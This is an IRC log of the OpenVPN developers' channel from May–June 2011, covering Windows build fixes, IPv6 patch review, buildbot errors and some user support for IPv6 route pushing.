[nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 12:43 <@dazo> I think I'm about to give up that front page discussion ... I rather propose that we get our own front-page on community.o.n and make that one popular ... then the company can do whatever they want, and we can live happily on the side of them 12:43 <@dazo> the company have their need to promote their products, and I think we need a clearer differentiation between the commercial part and the community part 12:45 <@dazo> hmm ... openvpn.com is hijacked 12:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:59 <@dazo> krzee: seen this? http://www.osnews.com/story/24794/HTC_Officially_Stops_Locking_Bootloaders 12:59 <@vpnHelper> Title: HTC Officially Stops Locking Bootloaders (at www.osnews.com) 13:13 < psha> dazo: wow, thanks for the page, traversing random links i've found WePad :) 13:23 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:23 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:28 -!- dazo is now known as dazo_afk 15:30 <@mattock> hmm, I wonder if people really would mix up ShieldExchange with OpenVPN, and thus download the "OpenVPN Connect" client... 15:30 <@mattock> could be, I hope not 15:30 <@mattock> good thing is that the "Community Project" tab is still there, where it should be 16:26 <@vpnHelper> RSS Update - tickets: #140: OpenVPN 2.2 will only start if using port 1194 on Windows server <https://community.openvpn.net/openvpn/ticket/140> 16:47 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds] 17:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:05 <+krzee> oh damn 19:05 <+krzee> the value of my XTC clip just went down 19:09 <+ecrist> hola, krzee 19:09 <+ecrist> going to meet with mick_laptop for beers in about an hour 19:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Sat May 28 2011 01:05 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:48 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:21 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:32 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Quit: Leaving] 04:34 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:51 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:20 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:39 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:46 <@cron2> dazo: amazingly enough, on i386, the 8-bit-based addition takes exactly the same amount of time as the 32bit based one 15:46 <@cron2> 7 seconds for 100000000 cycles 15:49 <@cron2> oh, wrong -O flags used. Now we have 40ns vs. 70ns per call - and that's wasted once per openvpn client connect (on a slowish Atom CPU) 16:03 <@cron2> *send patch to mattock* 17:04 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out] 17:06 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 18:32 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: Operation timed out] 18:35 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel --- Day changed Sun May 29 2011 03:14 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+v krzie] by ChanServ 03:20 -!- andj is now known as andj_afk 10:07 -!- andj_afk is now known as andj 12:28 -!- andj is now known as andj_afk 12:38 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:23 -!- andj_afk is now known as andj 14:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 14:44 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:47 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:47 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:54 -!- andj is now known as andj_afk 21:56 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 23:41 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel --- Day changed Mon May 30 2011 00:34 -!- andj_afk is now known as andj 01:28 -!- andj is now known as andj_afk 02:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:57 <@cron2> moin 03:38 -!- dazo_afk is now known as dazo 03:57 <@cron2> mattock: have you seen the patch I've sent yesterday (and attached to the ticket)? That should fix "my" remaining socket.c problem on Windows 03:57 <@mattock> cron2: nope, not yet 03:57 <@mattock> will take a look 03:57 <@mattock> off-duty atm :) 03:58 <@cron2> ah. take your time :) 05:00 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:00 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:00 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:00 -!- mode/#openvpn-devel [+v janjust] by ChanServ 06:41 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 06:43 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 246 seconds] 07:51 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving.] 09:27 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 09:27 -!- andj_afk is now known as andj 10:34 <@cron2> mattock: so when are you on-duty next time? 10:37 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 276 seconds] 10:38 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 13:11 -!- dazo is now known as dazo_afk 14:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:26 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 15:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:29 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 260 seconds] 15:29 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Ping timeout: 260 seconds] 15:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:41 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 16:02 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:45 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue May 31 2011 00:31 -!- andj is now known as andj_afk 01:59 -!- cron2_ is now known as cron2 01:59 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 01:59 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 03:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:08 -!- mode/#openvpn-devel [+o raidz] by ChanServ 04:13 -!- dazo_afk is now known as dazo 04:44 <@dazo> mattock: just a heads up re: Thursday meeting ... There's a company party I'd like to join ... so I won't be able to manage a meeting then 04:45 <@mattock> dazo: ok, I'm at a summer cottage also 04:45 <@dazo> well, probably a normal place to be in June :-P 04:47 <@dazo> cron2: this is a fun read ... related to the unicode discussion we had ;-) http://joelonsoftware.com/articles/Unicode.html 04:47 <@vpnHelper> Title: The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!) - Joel on Software (at joelonsoftware.com) 06:03 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:03 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:03 -!- mode/#openvpn-devel [+v krzie] by ChanServ 07:06 <@mattock> cron2: I'll test the socket.c patch now 07:25 <@cron2> dazo: noted, no web browser right now, will read tonight 07:26 <@cron2> mattock: you could integrate jjo's patch right away, then you should be able to get all warnings fixed 07:26 <@mattock> I'll try that 07:28 <@mattock> cron2: applying the patch fails with this error: http://pastebin.com/LXeETNNV 07:28 <@cron2> mine or jjo's? 07:28 <@mattock> yours 07:29 <@cron2> *sigh* 07:29 <@cron2> please just remove the whitespace at the end of thiese lines 07:30 <@cron2> looks like the mailer or saving on windows mangled that - I could commit it, so the original patch doesn't have the blanks 07:31 <@mattock> ok 07:32 <@dazo> mattock: I saw your response on 2.2 building on Windows ... isn't it true that the new win build scripts are tightly connected to MSVC? While the "old one" is also suitable with mingw and cygwin builds on Windows? Or have I missed a point ... 07:33 <@mattock> yep, that's correct 07:33 <@dazo> Okay, I'll add that info 07:33 <@mattock> nice! 07:34 <@mattock> cron2: yep, dos2unix did the trick 07:34 <@cron2> bah, stupid platforms 07:34 <@dazo> :) 07:34 <@dazo> It might be --whitespace=fix will fix such things too, on git am/git apply 07:37 <@mattock> what about merging the IPv6 readme stuff? 07:37 <@mattock> it makes the life of Windows Git guy (like me, har har har!) pretty difficult 07:38 <@mattock> I second cron2's "stupid platforms" comment :) 07:38 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 07:38 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 07:38 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:47 <@mattock> jjo's patch needs some modifications, it fails due to the earlier changes to syshead.h... I'll make some edits 07:48 <@mattock> fixed 07:49 <@cron2> mattock: readme is still on my desk, wanted to wait for jjo's patch (which we have now, so we need to get it tested and ACKed and included) 07:51 <@dazo> mattock: jjo's patch is based on the latest master branch, I believe ... so it probably needs to go in before other not applied stuff 07:52 * dazo see he might need to step up and apply some patches to the tree very soon 07:52 <@mattock> dazo: it failed because of the new include in syshead.h (343) 07:52 <@cron2> dazo: please :-) 07:52 <@mattock> NtDll or what was it 07:52 <@cron2> yep 07:52 <@mattock> there was still one error in socket.c, but otherwise build went fine 07:52 <@dazo> one evening before Thursday should be doable ... I'll see what I manage 07:53 <@dazo> cron2: btw ... do you want to ack jjo's patch? It looks clean to me on first glance (haven't tried applying it yet) 07:54 <@cron2> have glanced over it, but not fully studied it yet 07:54 <@cron2> mattock: what's the remaining error? 07:54 <@dazo> cron2: one more thing to consider to merge ... [PF_INET6] and [IPv6 payload 20110522-1 (2.2.0)] 07:55 <@cron2> dazo: well, that is sort of my "which version of the stuff is in there?" tag if someone sends me a "it's broken! look!" log file... 07:55 <@mattock> cron2: http://pastebin.com/pdgjC6Ca 07:56 <@dazo> cron2: yeah, I'm not completely sure how to solve it .... but I see your point 07:56 <@cron2> mattock: mmmh, what function is that in? doesn't look like one of mine 07:56 * cron2 cannot check what socket.c 651 and socket.c 658 look like "your tree has been patched" 07:58 <@mattock> cron2: here: http://pastebin.com/aUkNZFwH 07:59 <@cron2> mattock: ah, the usual icky compiler problem 07:59 <@cron2> "int success;" needs to come before the CLEAR() 07:59 <@cron2> so the code should read: 07:59 <@cron2> struct sockaddr_in6 sin6 07:59 <@cron2> again 07:59 <@cron2> struct sockaddr_in6 sin6; 07:59 <@cron2> int success; 07:59 <@cron2> CLEAR(sin6); 07:59 <@cron2> success = getaddr6( ... ) 08:02 <@mattock> let's try that... 08:13 <@mattock> cron2: that fixed the error 08:13 <@mattock> I'll send the patch to openvpn-devel 08:14 <@mattock> dazo: shall I package the first Windows snapshot build today, or do you want to wait until all of the VS 2008 patches are in "master"? 08:14 <@mattock> I'll also respond to jjo's mail 08:16 <@dazo> mattock: lets get it into master first 08:17 * cron2 sends his patch to the list as well and expects an ACK from mattock and dazo :-) 08:17 <@dazo> that way we're transparent on what we do ... and we can be sure that 'master' really compiles :) 08:24 <@cron2> patch sent 08:25 <@cron2> maybe we should try compiling with gcc -pedantic, so we get told about "lazyness compilation issues" 08:26 <@dazo> there are some compile flags which does that 08:26 <@dazo> configure 08:44 <@mattock> dazo: did you notice these --disable-management build errors: 08:44 <@mattock> http://10.7.36.101:8010/builders/builder-debian-5-amd64-stable-master--disable-lzo--disable-management/builds/0 08:44 <@mattock> http://10.7.36.101:8010/builders/builder-debian-5-amd64-stable-master--disable-lzo--disable-management/builds/0 08:45 <@mattock> oops, the same link 08:45 <@mattock> http://10.7.36.101:8010/builders/builder-debian-5-amd64-stable-master--disable-management/builds/0 08:45 <@dazo> I'll look more carefully at them later ... need to get prepared for a meeting in 15 min 08:45 <@mattock> ok, no hurry 08:45 <@mattock> buildbot won't get offended :P 08:45 <@dazo> hehe :) 08:46 <@mattock> cron2: I take the "Samuli tested this patch" equals an ACK from me 08:46 <@mattock> in your email 08:47 <@cron2> mattock: feel free to ACK in public :-) - I wonder how to properly test the Windows binary, though. I have done client tests, but this code will not be called on a client at all, so we might need to set up a Windows based test server 08:47 <@mattock> ok, I'll do that 08:48 <@mattock> cron2: here's some documentation, fortunately: https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide 08:48 <@vpnHelper> Title: Easy_Windows_Guide – OpenVPN Community (at community.openvpn.net) 08:48 * cron2 wants no documentation 08:48 * cron2 wants someone else to do tests!! 08:49 <@mattock> I wonder who would that be... :P 08:49 <@cron2> .oO(is janjust around?) 08:51 <@cron2> mmmh, another build breakage for --disable-management on the list... 08:53 <@dazo> yeah, that's because --pkcs11 depends on management 08:53 <@dazo> I think I asked about that on the mailing list some days (weeks?) ago 08:55 <@dazo> maybe it was in a meeting 08:55 * dazo don't recall now ... goes for the meeting now 09:09 <@cron2> mattock: thanks-for-ack :) 09:09 <@mattock> no prob 10:09 <@dazo> cron2: I'm looking at some patches now ... can you ack this one? [Openvpn-devel] [PATCH 2/4] Fix Microsoft Visual Studio incompatibility in plugin.c 10:23 <@cron2> have you actually tested that it works, or just taht it compiles? :-) 10:30 <@mattock> cron2: that it compiles 10:36 <@cron2> mmmh, since this is struct init stuff, I'd need to at least check that all the fields are initted in proper sequence - can't necessarily see that from compilation alone 10:53 <@dazo> good point ... I've done smoketesting of the log_v3.so plug-in on Linux 11:19 -!- andj_afk is now known as andj 11:24 <@cron2> ack 11:27 <@dazo> thx! 12:26 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:48 -!- dazo is now known as dazo_afk 14:52 -!- dazo_afk is now known as dazo 15:11 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 15:11 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 17:16 * dazo guesses cron2 is not available now ... but can't resist to not do an attempt ... 17:29 -!- Ejan [~Ejan@112.201.195.113] has joined #openvpn-devel 18:00 -!- dazo is now known as dazo_afk 18:02 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Read error: Connection reset by peer] 18:03 -!- equinox [~equinox@spaceboyz.net] has quit [Ping timeout: 248 seconds] 18:04 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 18:04 -!- equinox [~equinox@spaceboyz.net] has joined #openvpn-devel 18:04 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 18:52 -!- raidz_ [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 18:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds] 18:54 -!- chantra_1fk [~chantra@ns38827.ovh.net] has quit [Ping timeout: 276 seconds] 18:54 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 20:35 -!- Ejan [~Ejan@112.201.195.113] has left #openvpn-devel [] 21:46 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 21:46 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 21:46 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:46 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:46 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Client Quit] 22:07 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:07 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Wed Jun 01 2011 01:52 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:59 <@cron2> dazo: ack 02:59 <@cron2> mattock: your turn! 02:59 <@mattock> ack! 02:59 <@mattock> (what did I ack?) :P 03:00 <@cron2> your turn to test-build (and ideally, also test-run) dazo's tmp/winbuildfix tree 03:04 <@mattock> mkay 03:14 <@mattock> the inet_ntop patch is missing: http://pastebin.com/ypUPPM2F 03:14 <@mattock> openvpn-testing.git, tmp/winbuildfix branch 03:14 <@cron2> no 03:15 <@cron2> ah 03:15 <@cron2> it has your typo in it, #ifndef _MSV_VER 03:15 <@cron2> that, of course, should be #ifndef _MSC_VER 03:15 <@cron2> (win32.h) 03:15 <@cron2> bad dazo 03:16 <@cron2> and one of the tun.c fixes is missing 03:17 <@cron2> (const char * ifconfig_ipv6_local = ... -> needs to be split into declaration and assignment) 03:57 -!- dazo_afk is now known as dazo 03:58 <@dazo> cron2: mattock: thx for looking at it! I sensed there was some issues here 03:58 <@mattock> dazo: you're welcome! 04:10 <@dazo> cron2: btw ... you've really began to get a grip of git ;-) "I've pulled, and diffed against master-HEAD" .... that's a good approach :) 04:10 <@dazo> hmm ... there's some lack of logic in the #ifdefs which have been removed ... 04:11 <@dazo> #if defined(USE_PF_INET6) || defined (USE_PF_UNIX) 04:11 <@dazo> case AF_INET: .... 04:11 <@dazo> #ifdef USE_PF_UNIX 04:11 <@dazo> case AF_UNIX: .... 04:11 <@dazo> #endif 04:11 <@dazo> #ifdef USE_PF_INET6 04:11 <@dazo> case AF_INET6: .... 04:11 <@dazo> #endif 04:12 <@dazo> #endif 04:12 <@dazo> so ... unless USE_PF_INET6 *or* USE_PF_UNIX is defined, there are no support for AF_INET 04:13 <@dazo> so AF_INET depends on USE_PF_UNIX, as it is today .... need to check up that against the 2.2.0 code 04:34 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:02 <+krzie> did you guys see this: http://armitage.sytes.net/~raket/wwanbond/f3507g-bond.html ?? 05:02 <+krzie> you know how you cant speed up max bandwidth for single file xfer by bonding 2 connections... 05:02 <+krzie> well maybe you can 05:03 <+krzie> by using openvpn to create 2 tap interfaces to the same external server, and bonding those 05:03 <+krzie> then its both interfaces, going over the same route (kinda) 05:04 <+krzie> this guy got an issue cause 1 interface was faster than the other, so 1 got its buffer filled 05:04 <+krzie> but he was able to PoC 05:04 <+krzie> has anyone seen this before? 07:41 <+ecrist> it doesn't really make much sense to me 07:42 <+ecrist> you're still going to get the same packet fragmentation 08:00 <@dazo> that page confuses me ... 08:01 <@dazo> wwan0 and ppp0 is using the same modem? 08:07 <@dazo> hmm ... I'm not sure this makes any point at all ... if it is to tweak more speed out of the connection, get a proper 3.5G modem, which gives you at least up to 10Mbit DL and 2 Mbit UL, if your network provider supports that 08:26 <+krzee> his setup has 2 devices, each can separately attain a certain speed 08:27 <+krzee> after creating a tap vpn to the same server over each device, and bonding them, he was able to get a speed higher than each 08:27 <+krzee> a single xfer speed, not combined over multiple xfers 08:30 <@dazo> but if one tunnel is slower than the other ... and packets are muxed between those to connections, you'll loose the advantage 10:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 10:09 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:04 -!- Ejan [~Ejan@112.201.195.113] has joined #openvpn-devel 12:11 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:18 -!- Ejan [~Ejan@112.201.195.113] has quit [Ping timeout: 276 seconds] 13:01 -!- dazo is now known as dazo_afk 13:18 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:18 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:38 -!- Ejan [~Ejan@112.201.195.113] has joined #openvpn-devel 13:44 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:44 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:45 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 14:53 < Ejan> ` anyone here developing using .net? 15:15 <+ecrist> I don't think so 15:15 <+ecrist> openvpn is written in C 15:17 < psha> ecrist: but it's site name is openvpn.net! 15:17 <+ecrist> oh shit 15:17 * ecrist goes and sits in the corner 15:38 < Ejan> ` ahh.. i want to develop one for .net 15:38 < Ejan> :D 15:39 < Ejan> i mean gui only 15:40 <+ecrist> Ejan: why? 15:46 <+krzee> cron2, you might want this one: 15:46 <+krzee> https://community.openvpn.net/openvpn/ticket/141 15:46 <@vpnHelper> RSS Update - tickets: #141: Cannot restart openvpn more than once per boot if using persistent tunnels and IPv6 payload <https://community.openvpn.net/openvpn/ticket/141> 15:46 <@vpnHelper> Title: #141 (Cannot restart openvpn more than once per boot if using persistent tunnels and IPv6 payload) – OpenVPN Community (at community.openvpn.net) 15:46 <+krzee> lol nice timing 15:46 <@cron2> krzee: that's windows? 15:47 <+krzee> from "/sbin/ifconfig tun0 inet6 add" im gunna say no 15:47 <+krzee> " Linux ifconfig inet6 failed" 15:48 <@cron2> krzee: nah, it's windows 15:48 <+krzee> OpenVPN 2.x-master i686-pc-linux-gnu 15:48 <@cron2> yeah, I see that now 15:49 <+krzee> hes currently in #openvpn as well 15:50 <+krzee> he brought the bug in there, i had him add the ticket to trac and praised him for testing ipv6 and reporting back his findings 15:51 <@cron2> yeah, that's good 15:51 <@cron2> I need to see a config file, tho - never did persistant tunnels, never saw the need for it, the code is massively ugly - never *wanted* to touch that... 15:52 <+krzee> should i assign the ticket to you and have him add his configs to the ticket? 15:52 <+krzee> or is this jjo's dept? 15:52 <@cron2> first part already done, second part asked for 15:53 <@cron2> ifconfig is payload -> mine 15:53 <+krzee> oh cool 15:53 <+krzee> cool, thought so 15:57 < Ejan> ` i think .net is also a good language develop a gui.. 15:57 < Ejan> to develop a gui 15:59 <+krzee> Ejan, what are you looking to do that would require a new gui? 16:01 < Ejan> ` only an alternative gui in .net language.. 16:06 < psha> heh, 'gui in .net' is bad task definition 16:06 < Ejan> why? :D 16:06 < psha> gui like any other program must fulfil some requirements 16:07 < psha> but not 'be written in some language' 16:07 <+krzee> i agree 16:07 <+krzee> best to have goals, and decide the language based on those goals 16:07 <+krzee> or at least have goals 16:08 < Ejan> ~ hmm.. i see.. 16:08 < psha> choosing language first is useful in educational projects - pick some trivial task and implement it in new lang 16:08 < psha> but usually such projects are thrown away just after they are completed (or author got bored) 16:09 < Ejan> ` but i think not me.. although i'm only a student.. i'm very interested at openvpn.. 16:10 < Ejan> ` but is it okey to create one for .net? 16:10 <+krzee> sure *shrug* 16:10 < psha> if it's for education - nothing wrong... but usually people overestimate tool they recently found :) 16:11 < psha> Ejan: heh, don't expect that somebody here will deny you to use .net for gui :) 16:11 < Ejan> ` hahaha.. thanks.. 16:12 < psha> also chances are that it'll work under Mono - but i'm not familiar with this lang/platform 16:13 < Ejan> ` yeah.. i'm using mono.. 16:13 < Ejan> ` from vs then translate again to mono.. 16:18 < Ejan> ` another question.. can i also add my project at the related projects page? 16:19 <+krzee> that can be answered better once you have something 16:20 < Ejan> ` ahhh.. thanks.. 16:48 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 16:50 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:55 -!- andj is now known as andj_afk 18:58 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 19:09 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 19:09 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 19:09 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 19:29 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Quit: Leaving] 19:29 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 19:30 -!- andj_afk is now known as andj 22:00 -!- Ejan [~Ejan@112.201.195.113] has quit [Ping timeout: 260 seconds] --- Day changed Thu Jun 02 2011 01:56 -!- dazo_afk is now known as dazo 02:14 <@dazo> Oh dear ... .net/mono ... 02:15 <@dazo> !learn mono as If you consider to use mono for F/OSS applications, step carefully ... http://www.fsf.org/news/dont-depend-on-mono 02:15 <@vpnHelper> Joo got it. 02:17 <@dazo> !learn mono as Also see this article: http://www.fsf.org/news/2009-07-mscp-mono 02:17 <@vpnHelper> Joo got it. 03:30 -!- rajkosto [~rajkosto@cable-94-189-150-102.dynamic.sbb.rs] has joined #openvpn-devel 03:30 < rajkosto> -route-ipv6-gateway says its an invalid option ? 03:39 <@cron2> yes 03:40 <@cron2> it's something that should eventually be there (otherwise ipv6 "push route" on TAP won't work), but as of today, nobody has implemented it 03:44 < rajkosto> do you know how to fix automatic detection of the gateway ? 03:44 < rajkosto> Route6: gateway=UNDEF 03:44 < rajkosto> on another server it detects it fine 03:44 < rajkosto> this is dev tun 03:44 <@cron2> unlikely 03:44 <@cron2> there's no code in openvpn to detect IPv6 gateways 03:45 < rajkosto> how did push route with no gateway parameter work before then 03:45 <@cron2> for tun, you don't need the gateway address - "just stuff it into that interface" 03:45 < rajkosto> its complaining that it wont push routes without a gateway 03:45 < rajkosto> because route6 gateway undef 03:46 <@cron2> for tap, you need a gateway, as the operating system sees this as "ethernet device" and wants to do arp/neigbour detection 03:46 <@cron2> it's pushing route6's just fine for me - no need for a gateway 03:46 < rajkosto> probably version incompatibility between a month old version and current version 03:47 <@cron2> no 03:47 <@cron2> nothing has changed in that pieces of code since a year 03:47 <@cron2> please pastebin full client log somewhere, so I can have a look at the exact error message 03:49 < rajkosto> http://codepad.org/97KZuOzm 03:49 * cron2 looks 03:50 <@cron2> well, the problem is that the server is not pushing "ifconfig-ipv6" statements 03:51 <@cron2> the "route" error message could be somewhat more helpful in that case 03:52 < rajkosto> ccd for that client is http://codepad.org/bwb1rl0X 03:52 <@cron2> on non-windows, the error message in that case is more clear - it just won't try to setup route6 if there is no IPv6 on the interface, but on windows the init sequence is different 03:52 <@vpnHelper> Title: Plain Text code - 3 lines - codepad (at codepad.org) 03:52 < rajkosto> damn it, o instead of 0 03:53 <@cron2> codepad.org is way slow for me today... still loading!? 03:54 <@cron2> mmmh indeed :-) "bo55" won't do. 03:54 <@cron2> there should be something about that in the server logs 03:54 < rajkosto> there wasnt, since the ifconfig had the 0 03:54 < rajkosto> just the ccd entires had o 03:54 <@cron2> the server still checks the ifconfig-ipv6-push for sanity and complains 03:55 <@cron2> (it will not abort, just log) 03:55 < rajkosto> any idea why i keep getting this ? WARNING: 'tun-ipv6' is present in remote config but missing in local config, remote='tun-ipv6' 03:55 < rajkosto> its pushed later on 03:55 < rajkosto> but that warning shows up before it processes push 03:55 <@cron2> well, that's why... 03:56 <@cron2> it notices that the local and remote config doesn't match, but doesn't understand that this can be pushed (and is). This is something that needs more work :) 03:58 <@cron2> I've put it on my TODO list. "push" handling and these warnings are being worked on, but cleaning this up without creating incompatibilities is not so easy - jjk and dazo are working on that 04:00 <@cron2> rajkosto: does it work for you now, with the proper ifconfig-ipv6-push? 04:00 < rajkosto> yes 04:00 <@cron2> good :-) 04:01 < rajkosto> i still have route-gateway 172.16.0.1 for ipv4 in my server config 04:01 <@cron2> the remaining bits are "rough edges" (like: more helpful warning messages, etc.) -> on my TODO 04:01 < rajkosto> is that needed ? 04:01 <@cron2> no, it will default to "the ip address of the server" - this is really just needed for special configs 04:02 <@cron2> like TAP bridging, and "the default gateway is a different router on the server LAN, bridged to the clients" 04:02 < rajkosto> it wouldnt work without it on my openvz vps 04:02 < rajkosto> probably somthing funky about openvz not letting it detect it 04:03 <@cron2> maybe... our corp server doesn't have it, but that's "plain operating system", no openvz/jail/vserver stuff around it 04:03 < rajkosto> i have a normal server now, but ill leave it 04:04 <@cron2> it shouldn't do harm (unless the address is wrong :) ) 04:05 < rajkosto> its the ip of the tun if 04:06 <@cron2> that's the right one! 04:18 <@vpnHelper> RSS Update - wishlist: Non-Admin usage of OpenVPN on Windows <http://forums.openvpn.net/topic8250.html> 04:33 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:08 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 06:13 -!- Ejan [~Ejan@112.201.195.113] has joined 